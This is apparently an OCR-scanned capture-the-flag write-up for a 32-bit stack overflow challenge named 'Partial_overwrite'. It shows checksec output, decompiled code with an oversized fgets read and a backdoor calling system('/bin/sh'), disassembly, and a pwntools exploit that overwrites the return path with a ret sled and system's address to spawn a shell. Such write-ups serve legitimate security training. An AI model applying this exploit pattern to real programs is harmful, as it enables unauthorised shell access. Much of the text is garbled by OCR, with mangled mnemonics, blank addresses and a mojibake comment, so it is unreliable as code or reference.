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Partial overwrite
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biny checksec Partial overwrite
[*] '/home/zer0/ s/Ctf—tools/delivery/pwnS/bin/Partial overwrite'
Arch: 1386-32-1ittle

RELRO:
Stack:
NX:
=

1lint __cdecl main(int argc, const char =xargu, const char =xenup)
2li{

3| char s; //

4

5| write(1, "lWelcome to Partial_overwrite\n”, 0x1Du);

6| fgets(&s, 45, stdin);

7| return 0;

8}

IDA View-A | L= Pseudocode—A E ©
int backdoor()
{

}

return system("/bin/sh");
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080484b3 <main>:

80484b3: ecx, [espt0x4]
80484b7: esp, Oxfffffffo
80484ba: DWORD PTR [ecx—0x4]
80484bd: ebp

80484be: ebp, esp

80484c0: ecx

80484c1: esp, 0x34

80484c4: esp, Ox4

80484c7: Ox1d

80484c9: 0x8048588

80484ce: 0x1

80484d0: 8048380 <write@plt>
80484d5: esp, 0x10

80484d8: eax, ds:0x804a040
80484dd: esp, Ox4

80484e0: eax

80484e1: Ox2d

80484e3: eax, [ebp—0x30]
80484e6: eax

80484e7: 8048350 <fgets@plt>
80484ec: esp, 0x10

80484ef: 3800 eax, UxU

80484f4: ecx, DNORD PTR [ebp—0x4]
80484f7:

80484f18: esp, [ecx—0x4]
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BEDHT, HINEXEFFERVEAFERRH, Y fgets EEARLIES ebp-
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exp

from pwn import *
ret_addr =
system _addr =

r = process('./Partial_overwrite')
r.recvuntil("Partial overwrite\n")
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shellcode = flat(
[ret _addr]*1e,
system_addr )
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r.send(shellcode)
r.interactive()
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